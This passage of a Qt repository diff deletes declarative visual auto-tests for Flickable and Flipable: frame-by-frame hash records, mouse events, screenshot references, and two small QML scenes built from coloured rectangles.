284 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 183; y: 284 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 21664 - hash: "50335b19a1e210f87924d01bb343a0e0" - } - Frame { - msec: 21680 - hash: "59b4f80a7cd6b732eb26f3b4147efe7e" - } - Frame { - msec: 21696 - hash: "b99cc1f07bcb0480801d4d5403372525" - } - Frame { - msec: 21712 - hash: "871040b0f921646609b79828bab38949" - } - Frame { - msec: 21728 - hash: "2acb3d19eed000313872d5cd66765b53" - } - Frame { - msec: 21744 - hash: "b5431a2d2e856a726ceac2066b128f8f" - } - Frame { - msec: 21760 - hash: "04047c917a95a2a3df30c14bb20601dd" - } - Frame { - msec: 21776 - hash: "fea7ac3d26975f438129e394c667e628" - } - Frame { - msec: 21792 - hash: "4db41ff05865cabc4ef288478254e633" - } - Frame { - msec: 21808 - hash: "e0d3737effd817a8f603eb393677b8b6" - } - Frame { - msec: 21824 - hash: "d4f06941d213544ddcae714ddc0b47e9" - } - Frame { - msec: 21840 - hash: "dbb21caf4a4c9b88563f1d0aad35f3d3" - } - Frame { - msec: 21856 - hash: "eb9a052219c3f955f2c036834990089b" - } - Frame { - msec: 21872 - hash: "40090a35caf674ed9c4bf1d10f9209ea" - } - Frame { - msec: 21888 - hash: "064de0abec66d1ddcf0f6073ce7d91ef" - } - Frame { - msec: 21904 - hash: "f407334d0b63a34657dc1306fd67aeb7" - } - Frame { - msec: 21920 - hash: "1c0744be97c65c68ca92bd86d42c7b0e" - } - Frame { - msec: 21936 - hash: "7469d4a06c5df073e22db3c905baefc1" - } - Frame { - msec: 21952 - hash: "35912a7e2ecc0c387fc9fb9da7201bfd" - } - Frame { - msec: 21968 - hash: "9f835091374f0d0d9a6996e6dad10e19" - } - Frame { - msec: 21984 - hash: "afade1ecbaf5f920880eaff3b3de606e" - } - Frame { - msec: 22000 - hash: "9c70e8a020c8c1101b9884529cb4527f" - } - Frame { - msec: 22016 - hash: "3e7d4dc75f85dfeb065da18ef1c102c1" - } - Frame { - msec: 22032 - hash: "16852d62a77eefccea9497ae1b09842d" - } - Frame { - msec: 22048 - hash: "ea8afda6d837a98f408a7aa133494575" - } - Frame { - msec: 22064 - hash: "666435dccf30c53eb09ea7ad8b5264a1" - } - Frame { - msec: 22080 - image: "flickable-vertical.22.png" - } - Frame { - msec: 22096 - hash: "2e959bf0470bac84e2220d9e8a8bbb97" - } - Frame { - msec: 22112 - hash: "595b6cfd559f8362b010616de4947ec6" - } - Frame { - msec: 22128 - hash: "976dd345cc7cb4e3c09a288530d3c8af" - } - Frame { - msec: 22144 - hash: "9493e425d5cd3f9eef904a1be63f45f1" - } - Frame { - msec: 22160 - hash: "0a2013afebb5e09d82633c8d8a393f01" - } - Frame { - msec: 22176 - hash: "d8377c464bc59d95e0670d697888d804" - } - Frame { - msec: 22192 - hash: "52f9416973da953bd6fe55b2fe22786a" - } - Frame { - msec: 22208 - hash: "23b9af0f371b7817e9ceaa1a83995d35" - } - Frame { - msec: 22224 - hash: "34b0e0333c91bc4533e0c01eaeb3d3f9" - } - Frame { - msec: 22240 - hash: "1597b86afe2841c3bb77bb5dd6aa6803" - } - Frame { - msec: 22256 - hash: "d74111814ff259fea47e1eb3b36e174b" - } - Frame { - msec: 22272 - hash: "c64c46fe9cd75afbf2385241ea8e55d4" - } - Frame { - msec: 22288 - hash: "1e8740a104643fe30b0e874bbbed44ab" - } - Frame { - msec: 22304 - hash: "ef669a8d142947463084383a6c7c7f85" - } - Frame { - msec: 22320 - hash: "2314c42b5994bdbfd73eb2c3ea54626b" - } - Frame { - msec: 22336 - hash: "53a0694d8eee91b968bd43efe43f2c9e" - } - Frame { - msec: 22352 - hash: "be4772528f30c18193e49ae04a290af8" - } - Frame { - msec: 22368 - hash: "a0b0877ab92a0323e35fdb7beb602dee" - } - Frame { - msec: 22384 - hash: "a0e299fb4ba811a0b22fb62c222cb86c" - } - Frame { - msec: 22400 - hash: "2562bc9c9aa60a48b6ca00333f60d163" - } - Frame { - msec: 22416 - hash: "486b45c385d88d6f054fa6308b55f2ac" - } - Frame { - msec: 22432 - hash: "86502af668ed6336dce8fe329e3408a6" - } - Frame { - msec: 22448 - hash: "2a79a6530a07f00810310117d00d28ed" - } - Frame { - msec: 22464 - hash: "94a5fce3e0c3b219e0d807bfcade11e8" - } - Frame { - msec: 22480 - hash: "94a5fce3e0c3b219e0d807bfcade11e8" - } - Frame { - msec: 22496 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22512 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22528 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22544 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22560 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22576 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22592 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22608 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22624 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22640 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22656 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22672 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22688 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22704 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22720 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22736 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22752 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22768 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22784 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22800 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22816 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22832 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22848 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22864 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22880 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22896 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22912 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22928 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22944 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22960 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22976 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 22992 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23008 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23024 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23040 - image: "flickable-vertical.23.png" - } - Frame { - msec: 23056 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23072 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23088 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23104 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23120 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23136 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23152 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23168 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23184 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23200 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23216 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23232 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23248 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 23264 - hash: "8443c45791c906a9fe23831844f48a1c diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/flickable-horizontal.qml b/tests/auto/declarative/visual/qdeclarativeflickable/flickable-horizontal.qml deleted file mode 100644 index 50ba9ad..0000000 --- a/tests/auto/declarative/visual/qdeclarativeflickable/flickable-horizontal.qml +++ /dev/null @@ -1,37 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "lightSteelBlue" - width: 600; height: 300 - - ListModel { - id: list - ListElement { dayColor: "steelblue" } - ListElement { dayColor: "blue" } - ListElement { dayColor: "yellow" } - ListElement { dayColor: "purple" } - ListElement { dayColor: "red" } - ListElement { dayColor: "green" } - ListElement { dayColor: "orange" } - } - - Flickable { - id: flickable - anchors.fill: parent; contentWidth: row.width - - Row { - id: row - Repeater { - model: list - Rectangle { width: 200; height: 300; color: dayColor } - } - } - } - Rectangle { - radius: 3 - y: flickable.height-8 - height: 8 - x: flickable.visibleArea.xPosition * flickable.width - width: flickable.visibleArea.widthRatio * flickable.width - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/flickable-vertical.qml b/tests/auto/declarative/visual/qdeclarativeflickable/flickable-vertical.qml deleted file mode 100644 index ebb963d..0000000 --- a/tests/auto/declarative/visual/qdeclarativeflickable/flickable-vertical.qml +++ /dev/null @@ -1,91 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "lightSteelBlue" - width: 300; height: 600 - - ListModel { - id: list - ListElement { dayColor: "steelblue" } - ListElement { dayColor: "blue" } - ListElement { dayColor: "yellow" } - ListElement { dayColor: "purple" } - ListElement { dayColor: "red" } - ListElement { dayColor: "green" } - ListElement { dayColor: "orange" } - } - - flickable { - id: flick - height: parent.height-50 - width: parent.width; contentHeight: column.height - - Column { - id: column - Repeater { - model: list - Rectangle { width: 300; height: 200; color: mr.pressed ? "black" : dayColor - MouseArea { - id: mr - anchors.fill: parent - } - } - } - } - clip: true - reportedVelocitySmoothing: 1000 - } - Rectangle { - radius: 3 - x: flick.width-8 - width: 8 - y: flick.visibleArea.yPosition * flick.height - height: flick.visibleArea.heightRatio * flick.height - } - - // click to toggle interactive flag - Rectangle { - width: 64 - height: 48 - y: parent.height - 50 - color: "red" - MouseArea { - anchors.fill: parent - onClicked: flick.interactive = flick.interactive ? false : true - } - } - - // click to toggle click delay - Rectangle { - width: 64 - height: 48 - x: 66 - y: parent.height - 50 - color: "green" - MouseArea { - anchors.fill: parent - onClicked: flick.pressDelay = flick.pressDelay > 0 ? 0 : 500 - } - } - - // click to toggle overshoot - Rectangle { - width: 64 - height: 48 - x: 130 - y: parent.height - 50 - color: "yellow" - MouseArea { - anchors.fill: parent - onClicked: flick.overShoot = flick.overShoot > 0 ? 0 : 30 - } - } - - Rectangle { - width: Math.abs(flick.verticalVelocity)/100 - height: 50 - x: 200 - y: parent.height - 50 - color: blue - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.0.png b/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.0.png deleted file mode 100644 index 53a8b42..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.1.png b/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.1.png deleted file mode 100644 index b7efe8c..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.2.png b/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.2.png deleted file mode 100644 index aa6d147..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.3.png b/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.3.png deleted file mode 100644 index 9d39713..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.4.png b/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.4.png deleted file mode 100644 index 98e8817..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.5.png b/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.5.png deleted file mode 100644 index a3f9d8f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.qml b/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.qml deleted file mode 100644 index 520d9a2..0000000 --- a/tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.qml +++ /dev/null @@ -1,1623 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 32 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 48 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 64 - hash: "06d7f0befa7e06972983ffe87c162750" - } - Frame { - msec: 80 - hash: "51dff66a7767e3464fda60f2cf906700" - } - Frame { - msec: 96 - hash: "f8038dc4b67b92ef776a97589240e8c5" - } - Frame { - msec: 112 - hash: "692931f1db6ddf0b37eb64026ca830f8" - } - Frame { - msec: 128 - hash: "f01b7368e42381dda5eadf56482ea993" - } - Frame { - msec: 144 - hash: "9811f823e057882d384f36d7227fa12e" - } - Frame { - msec: 160 - hash: "9b40b6c75af876567ff49688bc710f2a" - } - Frame { - msec: 176 - hash: "e97a5d968da37789c28816608fa262a1" - } - Frame { - msec: 192 - hash: "2cd0627fdc63bb91f8dcac789d7a93b2" - } - Frame { - msec: 208 - hash: "ae2407f8da9a047d2725bcdcf8e568b2" - } - Frame { - msec: 224 - hash: "da2a1e5e988c27577ceb453cb0383703" - } - Frame { - msec: 240 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 256 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 272 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 288 - hash: "73c06997014af4e008b546b53fe349fb" - } - Frame { - msec: 304 - hash: "262404c6e55b93c4ab940582a49f7e18" - } - Frame { - msec: 320 - hash: "451a9408b04826ab35749d9120efd6bb" - } - Frame { - msec: 336 - hash: "451a9408b04826ab35749d9120efd6bb" - } - Frame { - msec: 352 - hash: "2d112d040fd425c59b511066737e494d" - } - Frame { - msec: 368 - hash: "769d2724656dbf0e793ecd8e42db3de2" - } - Frame { - msec: 384 - hash: "9e375cb3815723a2c5dda39c79325e96" - } - Frame { - msec: 400 - hash: "b21e92871bf63873b8ae48a2aff47be5" - } - Frame { - msec: 416 - hash: "00d08f4257f35c6236cde0597b0005e4" - } - Frame { - msec: 432 - hash: "8048f84221a02e7102cf3272445862a1" - } - Frame { - msec: 448 - hash: "f0d7b45f0b01319494616c1893aa940e" - } - Frame { - msec: 464 - hash: "457fad89140a1dda9e70549d451482e9" - } - Frame { - msec: 480 - hash: "ee0feb79e843cdb2adea72fa37ecab67" - } - Frame { - msec: 496 - hash: "ece02d3590147884e697dd5228dee8c4" - } - Frame { - msec: 512 - hash: "91c4ec19716a0883c8f5c25b9a0d1f42" - } - Frame { - msec: 528 - hash: "a7c9860dd4962b11b92c54370ba156ee" - } - Frame { - msec: 544 - hash: "a28f2590be1e8cde4cde5219367015ac" - } - Frame { - msec: 560 - hash: "3b641ba58f5e1f0e1f2f528acf38cb28" - } - Frame { - msec: 576 - hash: "d0b0969ad165d4784f763683de42278e" - } - Frame { - msec: 592 - hash: "93968dffda327a101e2bd07b80fff842" - } - Frame { - msec: 608 - hash: "08f5db4cd7f27178c67e6d973e4bb023" - } - Frame { - msec: 624 - hash: "0967cad0a3ae82307a049944e1bcdc3e" - } - Frame { - msec: 640 - hash: "d70ffd02b434e607bc11a95ca536c19a" - } - Frame { - msec: 656 - hash: "cd561b4d5e707bb6b9f6d493f9b99512" - } - Frame { - msec: 672 - hash: "58355ca37c6e4e54061664180faa11fb" - } - Frame { - msec: 688 - hash: "bd873f48c79286c50333c838e57d8ec7" - } - Frame { - msec: 704 - hash: "db89bc0e04ebefe5440748fe85e0bdf7" - } - Frame { - msec: 720 - hash: "c400bc1e6c02c792cc515a6dd8bbaa9b" - } - Frame { - msec: 736 - hash: "accf3567a161239cd8c18dd9d4527aaf" - } - Frame { - msec: 752 - hash: "2e3bcdf70f160bf8e3f1b77ee472b782" - } - Frame { - msec: 768 - hash: "929da0d629253478c322360c9a8dfc9e" - } - Frame { - msec: 784 - hash: "d5d4b7c52ba14e84bc9c34a8b55f84b7" - } - Frame { - msec: 800 - hash: "063ce927e9e7c5afb9131302ea5a968c" - } - Frame { - msec: 816 - hash: "b94b6fff850aacccdaf0f74d4e36ba67" - } - Frame { - msec: 832 - hash: "bac2b9b9be4b71fafe59868506aa8ab9" - } - Frame { - msec: 848 - hash: "a91fed41a5a07e84424e45477f463aa1" - } - Frame { - msec: 864 - hash: "370eefd369ef366f1d5930b261340d0b" - } - Frame { - msec: 880 - hash: "b04a87997d0eeb6ff2f91fc2f0d016f6" - } - Frame { - msec: 896 - hash: "09c3602a08d6d3e2afb654c328606871" - } - Frame { - msec: 912 - hash: "101e66b9d13b1b0872cfcc497c9d6ae3" - } - Frame { - msec: 928 - hash: "b5eaf952e40cf90ef32e8cb64ccce7d3" - } - Frame { - msec: 944 - hash: "b43b02133ebe5db93e5236c0307939c3" - } - Frame { - msec: 960 - image: "test-flipable.0.png" - } - Frame { - msec: 976 - hash: "7d1a0ff0eceb80ff64d828c34792a2d5" - } - Frame { - msec: 992 - hash: "a7492d8ab6fddb5c1d7af2621078230b" - } - Frame { - msec: 1008 - hash: "2ed3dc7f10cc8279a6fd926914cdb234" - } - Frame { - msec: 1024 - hash: "e9f76e419f6f682bcc9052183bb50607" - } - Frame { - msec: 1040 - hash: "fdee6990e101d4a628272e7b09a217a3" - } - Frame { - msec: 1056 - hash: "05e028b2f37a433343d373bc05f73756" - } - Frame { - msec: 1072 - hash: "a9ece04666d17979408dcd8690cd697c" - } - Frame { - msec: 1088 - hash: "a5d8c9bee6ac10fb45cedf3bc4325539" - } - Frame { - msec: 1104 - hash: "08f1ff1e515ec78f75efa13a39b21f56" - } - Frame { - msec: 1120 - hash: "f0bc6c649a195e2c433cf84c1b4f5bcb" - } - Frame { - msec: 1136 - hash: "2a548614a9b38867cd0fe44985ca443f" - } - Frame { - msec: 1152 - hash: "8c8272fc028ce5b403e636b4061351d3" - } - Frame { - msec: 1168 - hash: "df11678b255cc3f624fed24d7e6a24af" - } - Frame { - msec: 1184 - hash: "7dd5ce1cce200d7eede0f248f150873c" - } - Frame { - msec: 1200 - hash: "e5cb8e0e588854dce5e7572fd1e3a445" - } - Frame { - msec: 1216 - hash: "71937cd7d319174232797d05fe28bda5" - } - Frame { - msec: 1232 - hash: "021c3a598b008991114b25b26191e8ef" - } - Frame { - msec: 1248 - hash: "b372131d6fc29e7dbffc2c5f4e269ad7" - } - Frame { - msec: 1264 - hash: "2120fc188aed6888eba85e9d49139000" - } - Frame { - msec: 1280 - hash: "0523499bb4f4c6d0c3d2cd28fbac7056" - } - Frame { - msec: 1296 - hash: "19d1fc79802728d6b0af222050b59463" - } - Frame { - msec: 1312 - hash: "f48686053780376c7ab2e6481e3fd0ad" - } - Frame { - msec: 1328 - hash: "0f7c5ca70fec90e7e8b2fd50b791fd2e" - } - Frame { - msec: 1344 - hash: "93cd129be7cfebaa2ea8a074a77aaa7c" - } - Frame { - msec: 1360 - hash: "e6b149da031b1c0b842b1b7872bd2d91" - } - Frame { - msec: 1376 - hash: "5481248e889fb4fe9f4cf54f69d9f614" - } - Frame { - msec: 1392 - hash: "23bb444b6248901da3eb6a2e805438cb" - } - Frame { - msec: 1408 - hash: "1c9feb1c3ae76d4015c99d005ecfed60" - } - Frame { - msec: 1424 - hash: "41e5345dc90fd48476f35ceeab281948" - } - Frame { - msec: 1440 - hash: "89682a955a00e68031571ac765f9f5e3" - } - Frame { - msec: 1456 - hash: "8ff7cee41c6f19eeda417052c1b071d6" - } - Frame { - msec: 1472 - hash: "67a73129d828e8a05b1efc768cf40146" - } - Frame { - msec: 1488 - hash: "0800a78c97c92c697e44ded54fdcf934" - } - Frame { - msec: 1504 - hash: "d5d51263367f0c53b8d94a03d83338d9" - } - Frame { - msec: 1520 - hash: "ab749885f356683e17ca52f904ae582d" - } - Frame { - msec: 1536 - hash: "7f5a56f30222a9886d1e9d014b4f5cab" - } - Frame { - msec: 1552 - hash: "10c5e64eff104dce59f54f70c5564959" - } - Frame { - msec: 1568 - hash: "38b00c7544648ef06705acc2e9eca1f5" - } - Frame { - msec: 1584 - hash: "56bdfcb8fbb776b3799676ba7934a354" - } - Frame { - msec: 1600 - hash: "ea5349d337e397b3ee5e0db0c296f5e5" - } - Frame { - msec: 1616 - hash: "6bd784ca760edba5a6f0b4212237e1e8" - } - Frame { - msec: 1632 - hash: "77e7888a37a7724bded817903cbe777e" - } - Frame { - msec: 1648 - hash: "55213bdb2f1f2d25b5680db95e79bbac" - } - Frame { - msec: 1664 - hash: "6d62c7f7f76cc1d4e33c152234000da0" - } - Frame { - msec: 1680 - hash: "0f6aa29c172054887e4ddb6512ae43b1" - } - Frame { - msec: 1696 - hash: "75fd94508b77bbdde34a61b74ff49e12" - } - Frame { - msec: 1712 - hash: "0dfdd9a1d83a706a09318c83fd08b6fe" - } - Frame { - msec: 1728 - hash: "4f895ee983424c164be3e2db488a4e51" - } - Frame { - msec: 1744 - hash: "974fd5f390d33afb779ac754f0e30b2a" - } - Frame { - msec: 1760 - hash: "fd40e22c7d3cfceeee7dc668d1cf0a12" - } - Frame { - msec: 1776 - hash: "4e3c04b35bcc43a4295582da1674da2e" - } - Frame { - msec: 1792 - hash: "629888aae80ea85db07a383df352214a" - } - Frame { - msec: 1808 - hash: "9a92c68cfad54c313d24e38240ea072f" - } - Frame { - msec: 1824 - hash: "3e27569d19670ec99f11bfa46099456a" - } - Frame { - msec: 1840 - hash: "5d4be9ed8c4ba7faefde5427cdbffc73" - } - Frame { - msec: 1856 - hash: "232d4e03a57edf0386b06884482f9730" - } - Frame { - msec: 1872 - hash: "c45f959fd81ac08add219326cb6a8bfc" - } - Frame { - msec: 1888 - hash: "349111e36190f77afd53c50ee2e9ba94" - } - Frame { - msec: 1904 - hash: "ea5ed48b2bcdfd2a711a3a71a4ae37c3" - } - Frame { - msec: 1920 - image: "test-flipable.1.png" - } - Frame { - msec: 1936 - hash: "ae4e35413e462221b8cb48dd0350f873" - } - Frame { - msec: 1952 - hash: "63cc3851236d5de613c85a2971ef7145" - } - Frame { - msec: 1968 - hash: "45d5fdb92107a7074d56d97bda34756f" - } - Frame { - msec: 1984 - hash: "f74d9a3b53a629f7fccfdd255fdbba62" - } - Frame { - msec: 2000 - hash: "60c6a30e15ed4ad61c14f15f9f1f3790" - } - Frame { - msec: 2016 - hash: "b5f7c630f6e61c7ddac8493e17a1f53e" - } - Frame { - msec: 2032 - hash: "98558c7135fa84fa08d457c6064b8653" - } - Frame { - msec: 2048 - hash: "2858e39a9b39739bb5c0c1ce23e83b20" - } - Frame { - msec: 2064 - hash: "0b174f04215131cfa32b5d1a32170ac3" - } - Frame { - msec: 2080 - hash: "67e3618bab95519a034ed6c8c1543212" - } - Frame { - msec: 2096 - hash: "2012c5310f198022a3878c9ded08523d" - } - Frame { - msec: 2112 - hash: "1cb6a1f6d873d2bfde457828c17b4886" - } - Frame { - msec: 2128 - hash: "be3f28bd56d9d985408e32cc0aab0623" - } - Frame { - msec: 2144 - hash: "4aa07c4887f873f0f034930bd681f9dc" - } - Frame { - msec: 2160 - hash: "adeae071187b590aa0a142c27098d2f4" - } - Frame { - msec: 2176 - hash: "d777aaccd6143c2c1000bbfabdbefeb2" - } - Frame { - msec: 2192 - hash: "7b4785b9e6610f02c52b4c824bea8ecd" - } - Frame { - msec: 2208 - hash: "c539b3638272e46120edbe4a58e1d894" - } - Frame { - msec: 2224 - hash: "ae466024a1dd731b6730dda255e68eb8" - } - Frame { - msec: 2240 - hash: "f844a288b009cc4c6c28eb30d799c397" - } - Frame { - msec: 2256 - hash: "4fc8ca1992802f97dd431783db89c725" - } - Frame { - msec: 2272 - hash: "79b899461efae97b65b8c24c8820f348" - } - Frame { - msec: 2288 - hash: "cb1ce87ddc372e24e37b60c013310549" - } - Frame { - msec: 2304 - hash: "c8937aea34fd299c151706598828be6f" - } - Frame { - msec: 2320 - hash: "ed5c3a904dc3b72937c6eea475514b2d" - } - Frame { - msec: 2336 - hash: "09043e74a3ac60d05122675a1b253320" - } - Frame { - msec: 2352 - hash: "57677a33d8c60a45c64aea10a695e8d0" - } - Frame { - msec: 2368 - hash: "496fe0b0e420356e4205537fdf3adc2f" - } - Frame { - msec: 2384 - hash: "f4146ce8db5cf2c3da15715820c9f62f" - } - Frame { - msec: 2400 - hash: "b80bc46468695b874d401c4c9bd68932" - } - Frame { - msec: 2416 - hash: "b0cf0021232ab917301206614f61f0bf" - } - Frame { - msec: 2432 - hash: "b0abdf5b86e3fcb22a9254ac5b522380" - } - Frame { - msec: 2448 - hash: "c1624cb7e90ea26ab0c37cfe9919ca36" - } - Frame { - msec: 2464 - hash: "0ffd6a3b3e5f6db5a3a8df756caf713e" - } - Frame { - msec: 2480 - hash: "1604ad8e7a4aa4fa8dff1f37fc8c51d7" - } - Frame { - msec: 2496 - hash: "5bbca0b79c42e263162926e5c2fd3d82" - } - Frame { - msec: 2512 - hash: "9436b4f2ab902673ed067de55da5003e" - } - Frame { - msec: 2528 - hash: "3c7b5fa0970242a2ad308c72d761713b" - } - Frame { - msec: 2544 - hash: "15e451c53e8f5c70614f87f33fe0a2e6" - } - Frame { - msec: 2560 - hash: "7e8cbe203306d2f267a42fed1e4790ed" - } - Frame { - msec: 2576 - hash: "db21ae28564614b58a7dd5ccd97082e6" - } - Frame { - msec: 2592 - hash: "ff52e198874de749c46f9b34cfe40cfc" - } - Frame { - msec: 2608 - hash: "916d92d24a81ced07a54d68c46299d4c" - } - Frame { - msec: 2624 - hash: "2f6cf122e5f15fc5f5d3c92d92ca1384" - } - Frame { - msec: 2640 - hash: "6f328038e5d505c402651423c44986a5" - } - Frame { - msec: 2656 - hash: "6f328038e5d505c402651423c44986a5" - } - Frame { - msec: 2672 - hash: "78e0dca60c04d3defbd90457685dbab3" - } - Frame { - msec: 2688 - hash: "b915de1be0c1779e06fb9eea8237f91d" - } - Frame { - msec: 2704 - hash: "0ff9fd6b09fc14abacb794353b9500f6" - } - Frame { - msec: 2720 - hash: "5a1c9cd9da5492a61a3a1bc6ad37ef17" - } - Frame { - msec: 2736 - hash: "4c4a72eb4105903802de56a4a62d86cc" - } - Frame { - msec: 2752 - hash: "6d813ee777a5900c65aca5939c004d0c" - } - Frame { - msec: 2768 - hash: "6d813ee777a5900c65aca5939c004d0c" - } - Frame { - msec: 2784 - hash: "0acaa3ece071ad4461cf4a79d65a0f03" - } - Frame { - msec: 2800 - hash: "0acaa3ece071ad4461cf4a79d65a0f03" - } - Frame { - msec: 2816 - hash: "f5cf7e68edc5fcd9dd91882d3f9ba380" - } - Frame { - msec: 2832 - hash: "51f8508eddffbac2fad22bd3e8040c69" - } - Frame { - msec: 2848 - hash: "a09746c72df5330f6ca2a93d9b8e79f6" - } - Frame { - msec: 2864 - hash: "b2ef52b66896649413b3852bcf642e1c" - } - Frame { - msec: 2880 - image: "test-flipable.2.png" - } - Frame { - msec: 2896 - hash: "ae76d183491834e2b1d0371420d51ce5" - } - Frame { - msec: 2912 - hash: "b19d89aa671cc3a773f64a7bae21adb6" - } - Frame { - msec: 2928 - hash: "08eb7bd2e49fe600e922e49a3aa56e93" - } - Frame { - msec: 2944 - hash: "1e3a7bdd0bd9d5b84c2cb5b646d7fb45" - } - Frame { - msec: 2960 - hash: "be9f5091197899c0b89823e4403358f3" - } - Frame { - msec: 2976 - hash: "1daeebce8e7eef80b135d2e4f83f780b" - } - Frame { - msec: 2992 - hash: "1daeebce8e7eef80b135d2e4f83f780b" - } - Frame { - msec: 3008 - hash: "1daeebce8e7eef80b135d2e4f83f780b" - } - Frame { - msec: 3024 - hash: "1daeebce8e7eef80b135d2e4f83f780b" - } - Frame { - msec: 3040 - hash: "1daeebce8e7eef80b135d2e4f83f780b" - } - Frame { - msec: 3056 - hash: "1daeebce8e7eef80b135d2e4f83f780b" - } - Frame { - msec: 3072 - hash: "be9f5091197899c0b89823e4403358f3" - } - Frame { - msec: 3088 - hash: "be9f5091197899c0b89823e4403358f3" - } - Frame { - msec: 3104 - hash: "1e3a7bdd0bd9d5b84c2cb5b646d7fb45" - } - Frame { - msec: 3120 - hash: "b19d89aa671cc3a773f64a7bae21adb6" - } - Frame { - msec: 3136 - hash: "e7ed4449b5ea3288d5e8fecb33a4a422" - } - Frame { - msec: 3152 - hash: "186a2c1af03e7fa590ff3cd7422285e3" - } - Frame { - msec: 3168 - hash: "373141f99bc88c40ead161502c9750e9" - } - Frame { - msec: 3184 - hash: "0221e2ef4cf809ebfeba466206a77cce" - } - Frame { 